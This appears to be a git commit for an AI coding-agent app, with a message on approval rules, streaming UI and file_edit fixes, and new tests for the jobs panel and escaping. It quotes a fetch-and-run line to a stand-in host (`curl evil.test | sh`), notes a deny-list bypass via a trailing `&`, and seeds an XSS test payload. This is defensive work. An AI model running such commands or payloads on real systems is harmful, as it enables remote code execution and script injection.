A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
@@ -1480,3 +1480,188 @@ async def test_the_harness_warns_after_a_rewind(db, user_id, machine):
|
||||
text = harness.compose(db, user, offered, chat)
|
||||
assert "was rewound" in text
|
||||
assert "still there" in text
|
||||
|
||||
|
||||
async def test_a_file_too_large_to_read_whole_is_not_patched_at_all(
|
||||
db, user_id, machine, tmp_path
|
||||
):
|
||||
"""The write path replaces, and the read path truncates, so patching a file
|
||||
larger than the ceiling wrote back its beginning and deleted the rest --
|
||||
silently, and reported as a success with a byte count. The same rule Canvas
|
||||
already follows: a truncated read is read-only.
|
||||
"""
|
||||
target = tmp_path / "project" / "big.txt"
|
||||
original = "alpha\nbeta\n" + ("filler line\n" * 6000)
|
||||
target.write_text(original)
|
||||
context = _context(db, user_id, machine)
|
||||
|
||||
await tools_service.run_tool(context, "file_read", '{"path": "big.txt"}')
|
||||
assert len(original) > context.agent.max_output, "the fixture has to exceed the ceiling"
|
||||
|
||||
outcome = await tools_service.run_tool(
|
||||
context,
|
||||
"file_edit",
|
||||
_json.dumps({"path": "big.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
||||
)
|
||||
|
||||
assert outcome.event["status"] == "error"
|
||||
assert "too large to patch" in outcome.content
|
||||
assert target.read_text() == original, "and above all, nothing was written"
|
||||
|
||||
|
||||
async def test_an_unreadable_file_says_so_rather_than_reading_as_empty(
|
||||
db, user_id, machine, tmp_path
|
||||
):
|
||||
"""`_current` answers "" for a file it cannot read, which is right for
|
||||
file_write -- that file is about to be created. Patching against it reported
|
||||
a context mismatch "past the end of the file", so a model was told an
|
||||
unreadable file was an empty one, and the way out of that is to rewrite it
|
||||
whole.
|
||||
"""
|
||||
target = tmp_path / "project" / "note.txt"
|
||||
target.write_text("alpha\nbeta\n")
|
||||
context = _context(db, user_id, machine)
|
||||
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
||||
|
||||
target.unlink()
|
||||
|
||||
outcome = await tools_service.run_tool(
|
||||
context,
|
||||
"file_edit",
|
||||
_json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
||||
)
|
||||
|
||||
assert outcome.event["status"] == "error"
|
||||
assert "past the end of the file" not in outcome.content
|
||||
assert "Nothing was written." in outcome.content
|
||||
assert not target.exists(), "and it was certainly not created by the attempt"
|
||||
|
||||
|
||||
# --- The jobs chip and panel ---------------------------------------------------
|
||||
def _job_row(db, chat_id, job_id, command, status="running", exit_status=None):
|
||||
from lembas.db.models import Job
|
||||
|
||||
row = Job(
|
||||
id=job_id, chat_id=chat_id, command=command, status=status, exit_status=exit_status
|
||||
)
|
||||
db.add(row)
|
||||
db.commit()
|
||||
return row
|
||||
|
||||
|
||||
def test_the_chip_counts_only_what_is_still_running(client, db, registered, machine):
|
||||
"""A job that has finished is still worth listing -- its log is how you find
|
||||
out what it did -- but it is not something to be told about."""
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
_job_row(db, chat.id, "a" * 12, "sleep 900")
|
||||
_job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=0)
|
||||
|
||||
html = client.get(f"/api/chats/{chat.id}/jobs").text
|
||||
|
||||
assert "1 job" in html
|
||||
assert "2 job" not in html
|
||||
|
||||
|
||||
def test_the_chip_keeps_polling_when_nothing_is_running(client, db, registered, machine):
|
||||
"""The element that carries `hx-trigger` is the one being replaced, so a
|
||||
fragment that collapsed to nothing would replace the trigger with nothing --
|
||||
and the first job started afterwards would never appear."""
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
html = client.get(f"/api/chats/{chat.id}/jobs").text
|
||||
|
||||
assert 'hx-trigger="every 5s"' in html
|
||||
assert "picker" not in html, "and shows nothing while there is nothing to show"
|
||||
|
||||
|
||||
def test_the_panel_lists_a_stored_job_and_offers_stop_only_while_it_runs(
|
||||
client, db, registered, machine
|
||||
):
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
_job_row(db, chat.id, "a" * 12, "sleep 900")
|
||||
_job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=2)
|
||||
|
||||
html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
|
||||
|
||||
assert "sleep 900" in html
|
||||
assert "Failed, exit 2" in html
|
||||
assert html.count("jobs/%s/stop" % ("a" * 12)) == 1
|
||||
assert ("jobs/%s/stop" % ("b" * 12)) not in html, "a finished job has nothing to stop"
|
||||
|
||||
|
||||
def test_a_job_belonging_to_another_chat_is_not_readable(client, db, registered, machine):
|
||||
"""The remote paths are namespaced by chat id, which is what makes this
|
||||
structurally impossible for a *model*. The route takes the id from a URL, so
|
||||
it has to make the same check itself."""
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
other = Chat(user_id=user.id, model_id="m", connection_id=chat.connection_id)
|
||||
db.add(other)
|
||||
db.commit()
|
||||
_job_row(db, other.id, "c" * 12, "sleep 900")
|
||||
|
||||
assert client.get(f"/api/chats/{chat.id}/jobs/panel?job={'c' * 12}").status_code == 404
|
||||
assert client.post(f"/api/chats/{chat.id}/jobs/{'c' * 12}/stop").status_code == 404
|
||||
|
||||
|
||||
def test_somebody_elses_chat_has_no_jobs_to_show(client, db, registered, machine):
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
stranger = User(email="stranger@x.test", name="Stranger", password_hash="x")
|
||||
db.add(stranger)
|
||||
db.commit()
|
||||
chat.user_id = stranger.id
|
||||
db.commit()
|
||||
|
||||
assert client.get(f"/api/chats/{chat.id}/jobs").status_code == 404
|
||||
|
||||
|
||||
def test_a_command_from_the_far_side_is_escaped(client, db, registered, machine):
|
||||
"""The command was written by a model and the log is whatever it printed.
|
||||
Both are untrusted exactly as much as anything else a tool returns."""
|
||||
from sqlalchemy import select as _select
|
||||
|
||||
from lembas.services import settings_store as _settings
|
||||
|
||||
user = db.scalar(_select(User))
|
||||
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
||||
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
||||
|
||||
_job_row(db, chat.id, "a" * 12, "echo '<img src=x onerror=alert(1)>'")
|
||||
|
||||
html = client.get(f"/api/chats/{chat.id}/jobs/panel").text
|
||||
|
||||
assert "<img src=x" not in html
|
||||
assert "<img src=x" in html
|
||||
|
||||
Reference in New Issue
Block a user